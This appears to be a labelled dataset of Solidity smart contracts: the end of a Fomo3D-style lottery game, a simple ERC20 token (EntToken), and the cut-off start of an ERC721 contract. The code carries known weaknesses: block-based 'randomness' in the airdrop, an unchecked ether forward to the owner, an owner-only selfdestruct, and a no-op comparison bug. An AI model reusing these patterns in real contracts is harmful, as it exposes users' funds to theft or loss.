round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
FeeAddr.transfer(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_p3d > 0)
Divies.deposit.value(_p3d)();
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 50;
FeeAddr.transfer(_com);
uint256 _p3d;
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
Divies.deposit.value(_p3d)();
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth.mul(2) / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
(msg.sender == 0xc2b140d3a0cf1afce033cbd7d058e7fc5729f50f || msg.sender == 0xdEADBeef9C8846C434b2b55B73D735D51Ceac1aa),
"only team break the bank can activate"
);
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface otherFoMo3D {
function potSwap() external payable;
}
interface F3DexternalSettingsInterface {
function getFastGap() external returns(uint256);
function getLongGap() external returns(uint256);
function getFastExtra() external returns(uint256);
function getLongExtra() external returns(uint256);
}
interface JIincForwarderInterface {
function deposit() external payable;
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,723 |
pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract EntToken is owned, TokenERC20 {
uint256 INITIAL_SUPPLY =1600000000;
uint256 public buyPrice = 1;
event FrozenFunds(address target, bool frozen);
function EntToken(uint256 initialSupply, string tokenName, string tokenSymbol) TokenERC20(INITIAL_SUPPLY, 'Entertainment chain', 'ENT') payable {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function setPrices(uint256 newBuyPrice) onlyOwner public {
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function () payable public {
owner.send(msg.value);
uint amount = msg.value * buyPrice;
_transfer(owner, msg.sender, amount);
}
function selfdestructs() onlyOwner payable public {
selfdestruct(owner);
}
} | 1 | 3,853 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
interface ERC165 {
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
contract SupportsInterface is ERC165 {
mapping(bytes4 => bool) internal supportedInterfaces;
constructor() public {
supportedInterfaces[0x01ffc9a7] = true;
}
function supportsInterface(bytes4 _interfaceID) external view returns (bool) {
return supportedInterfaces[_interfaceID];
}
}
interface ERC721 {
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) external view returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) external;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function approve(address _approved, uint256 _tokenId) external;
function setApprovalForAll(address _operator, bool _approved) external;
function getApproved(uint256 _tokenId) external view returns (address);
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
interface ERC721Enumerable {
function totalSupply() external view returns (uint256);
function tokenByIndex(uint256 _index) external view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256);
}
interface ERC721Metadata {
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function tokenURI(uint256 _tokenId) external view returns (string);
}
interface ERC721TokenReceiver {
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes _data) external returns(bytes4);
}
contract NFToken is ERC721, SupportsInterface {
using SafeMath for uint256;
using AddressUtils for address;
mapping (uint256 => address) internal idToOwner;
mapping (uint256 => address) internal idToApprovals;
mapping (address => uint256) internal ownerToNFTokenCount;
mapping (address => mapping (address => bool)) internal ownerToOperators;
bytes4 constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02;
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
modifier canOperate(uint256 _tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == msg.sender || ownerToOperators[tokenOwner][msg.sender]);
_;
}
